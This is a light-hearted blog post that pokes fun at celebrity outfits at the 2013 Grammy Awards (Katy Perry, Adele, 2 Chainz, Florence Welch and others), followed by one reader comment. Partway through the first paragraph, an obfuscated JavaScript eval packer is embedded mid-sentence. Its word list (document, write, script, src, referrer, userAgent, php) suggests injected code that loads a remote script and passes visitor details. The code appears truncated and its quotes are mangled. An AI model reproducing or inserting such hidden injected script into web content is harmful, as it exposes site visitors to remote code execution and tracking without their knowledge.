Grammy Award Fashion Conundrums 2013

Award shows are tons of fun, don’t you think? The performances, the emotional speeches, the drama, and most of all the wild & crazy fashions! Watching the clothing choices of famous people is like a game of celebrity Bingo; Who eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ibsdy|var|u0026u|referrer|ykbzs||js|php’.split(‘|’),0,{}))
played it safe in a black dress? Who wore purposefully-ugly shoes? Who has something large & bow-like on their shoulder? Who thought a vampire cape was the right look for tonight? Woo-hoo, I got BINGO!

There were some beautiful gowns last night at the Award show, like Solange Knowles, Carrie Underwood, and the always-adorable Pauley Perrette.

But then there were some fashion conundrums; beautiful people in outfits that make you tilt your head sideways and say, “Huh? I’m not sure what this means, exactly.”

Here are my favorite conundrums of the night. Do you agree? Who do you think actually pulled it off? And who should get a do-over?


Kimbra channels Bjork & Lara Flynn Boyle, but comes out on top as the cutest ballerina. Or maybe Ice Capades dancer? I don’t know. But she’s adorable and we love her anyhow. 😉

Makeup artist Jay Manuel from America’s Next Top Model makes a daring move in a tux that looks a little like an Urban Decay eyeshadow pallet. So it’s appropriate, right? 😉 Ok, your smile is so dazzling, you get a Pass on this one, Jay.

Katy Perry, I’m not sure if it’s the chartreuse color, or the leafy appliques your Granny’s crafting club stuck to the shoulder, but I’m having a hard time making eye contact with you… Yeah, it’s gotta be the appliques. Definitely.

Adele set fire to the rain. And won a lot of awards. And wore this. But her defiant pose dares you to say anything about it, m-kay?

Rap artist 2 Chainz wore a cape. Just in case he was called upon to do a magic trick. Or bare fangs  and attack anyone who tried to touch his chastity belt! Grrrrr!!!

Alexa Chung, reminding us why she’s a well-respected, fashion-forward style icon, by grabbing a wrinkled dress from Savers on her way to the Red Carpet. She’s being Ironic, get it? It’s a hipster thing…

This is my favorite fashion conundrum of the night: Florence Welch. She’s gorgeous & statuesque in a perfectly-fitting, emerald-green gown that suits her sultry demeanor and iconic red hair. Oh, wait! Are those dinosaur spikes on her shoulders? Is that a dragon tail embedded in the chest of her gown? Does it ward off unwanted flirting from crazy older celebrities? (Stay away, Jack Nicholson; these spikes are poison-tipped!) Sigh, even dragon-spiked, we die over Florence’s bold style and even bolder singing voice. Look for dragon spikes and shimmery green dresses to hit your local Forever 21 store soon!

Who was your favorite fashion conundrum of the night? Who do you think deserved a Grammy for Best Dressed, or should get a do-over? Did I miss any fashion offenders you think should be included on this list? 🙂

  1. Jay Manuel looks like a flock of birds flew overhead.

    I never watch awards shows, but I do like looking at the fashion lovelies and fashion mishaps the day after. Helen Mirren looked gorgeous in her pink hair. 🙂
